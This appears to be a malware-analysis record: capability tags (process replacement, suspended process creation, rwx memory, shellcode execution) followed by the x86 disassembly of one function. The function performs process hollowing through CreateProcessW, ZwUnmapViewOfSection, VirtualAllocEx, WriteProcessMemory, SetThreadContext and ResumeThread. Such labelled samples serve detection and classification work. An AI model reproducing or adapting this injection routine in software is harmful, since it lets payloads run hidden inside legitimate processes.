Function at 0x405b13
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
push ebx
mov edx, 0xd0
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x405b1a
call fcn.0041a560
mov edx, dword [esp + 0x350]
lea ecx, [esp]
call fcn.00408000
push dword [esp + 0x34c]
pop eax
mov dword [esp + 4], eax
push edx
call fcn.0041a3f0
pop edx
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push edx
call fcn.0041a3f0
pop edx
push eax
push edx
call fcn.0041a3f0
pop edx
push eax
call fcn.0040a445
mov edx, 0x47d154
push edx
call fcn.0041a430
mov edx, dword [esp + 0x28]
push edx
call fcn.0041a430
call fcn.0041a5c0
push 0
call fcn.00408282
add dword [esp + 4], edx
call sub.KERNEL32.dll_CreateProcessW
call fcn.004082a0
lea ebp, [esp + 0x68]
mov dword [ebp], 0x10002
lea eax, [esp + 0x68]
push eax
lea ebp, [esp + 0x10]
push dword [ebp + 4]
call sub.KERNEL32.dll_GetThreadContext
mov ebx, eax
and ebx, ebx
jne 0x405be5
jmp 0x405d9b
push 0
push 4
lea eax, [esp + 0x33c]
push eax
lea ebp, [esp + 0x74]
mov ebx, dword [ebp + 0xa4]
add ebx, 8
push ebx
lea ebp, [esp + 0x1c]
push dword [ebp]
call sub.KERNEL32.dll_ReadProcessMemory
push dword [esp + 0x334]
lea ebp, [esp + 0x10]
push dword [ebp]
call sub.NTDLL.DLL_ZwUnmapViewOfSection
and eax, eax
je 0x405c2d
jmp 0x405d9b
mov ebx, dword [esp + 0x34c]
and ebx, ebx
jne 0x405c3d
jmp 0x405d9b
mov ebx, dword [esp + 0x34c]
mov ebp, dword [esp + 4]
add ebx, dword [ebp + 0x3c]
mov dword [esp + 0x1c], ebx
push 0x40
push 0x3000
mov ebp, dword [esp + 0x24]
push dword [ebp + 0x50]
mov ebp, dword [esp + 0x28]
push dword [ebp + 0x34]
lea ebp, [esp + 0x1c]
push dword [ebp]
call sub.KERNEL32.dll_VirtualAllocEx
mov dword [esp + 0x64], eax
lea eax, [esp + 0x338]
push eax
mov ebp, dword [esp + 0x20]
push dword [ebp + 0x54]
push dword [esp + 0x354]
push dword [esp + 0x70]
lea ebp, [esp + 0x1c]
push dword [ebp]
call sub.KERNEL32.dll_WriteProcessMemory
mov ebp, dword [esp + 0x1c]
lea eax, [ebp + 0x18]
mov ebx, eax
mov ebp, dword [esp + 0x1c]
movsx eax, word [ebp + 0x14]
add ebx, eax
mov dword [esp + 8], ebx
mov dword [esp + 0x33c], 0
jmp 0x405cc1
mov ebp, dword [esp + 0x1c]
movsx ebx, word [ebp + 6]
dec ebx
cmp ebx, dword [esp + 0x33c]
jl 0x405d3c
lea eax, [esp + 0x338]
push eax
mov ebp, dword [esp + 0xc]
push ebp
mov eax, dword [esp + 0x344]
imul eax, eax, 0x28
pop ebp
add ebp, eax
push dword [ebp + 0x10]
mov ebx, dword [esp + 0x354]
mov ebp, dword [esp + 0x10]
push ebp
mov eax, dword [esp + 0x348]
imul eax, eax, 0x28
pop ebp
add ebp, eax
add ebx, dword [ebp + 0x14]
push ebx
mov ebx, dword [esp + 0x70]
mov ebp, dword [esp + 0x14]
push ebp
mov eax, dword [esp + 0x34c]
imul eax, eax, 0x28
pop ebp
add ebp, eax
add ebx, dword [ebp + 0xc]
push ebx
lea ebp, [esp + 0x1c]
push dword [ebp]
call sub.KERNEL32.dll_WriteProcessMemory
inc dword [esp + 0x33c]
jno 0x405cc1
push 0
push 4
lea eax, [esp + 0x6c]
push eax
lea ebp, [esp + 0x74]
mov ebx, dword [ebp + 0xa4]
add ebx, 8
push ebx
lea ebp, [esp + 0x1c]
push dword [ebp]
call sub.KERNEL32.dll_WriteProcessMemory
mov ebx, dword [esp + 0x64]
mov ebp, dword [esp + 0x1c]
add ebx, dword [ebp + 0x28]
push ebx
lea ebp, [esp + 0x6c]
pop eax
mov dword [ebp + 0xb0], eax
lea eax, [esp + 0x68]
push eax
lea ebp, [esp + 0x10]
push dword [ebp + 4]
call sub.KERNEL32.dll_SetThreadContext
lea ebp, [esp + 0xc]
push dword [ebp + 4]
call sub.KERNEL32.dll_ResumeThread
jmp 0x405dc6
push 0
lea ebp, [esp + 0x10]
push dword [ebp]
call sub.KERNEL32.dll_TerminateProcess
lea ebp, [esp + 0xc]
push dword [ebp + 4]
call sub.KERNEL32.dll_CloseHandle
lea ebp, [esp + 0xc]
push dword [ebp]
call sub.KERNEL32.dll_CloseHandle
xor eax, eax
push dword [esp]
call fcn.0041a620
add esp, 0x340
pop ebx
pop ebp
ret 8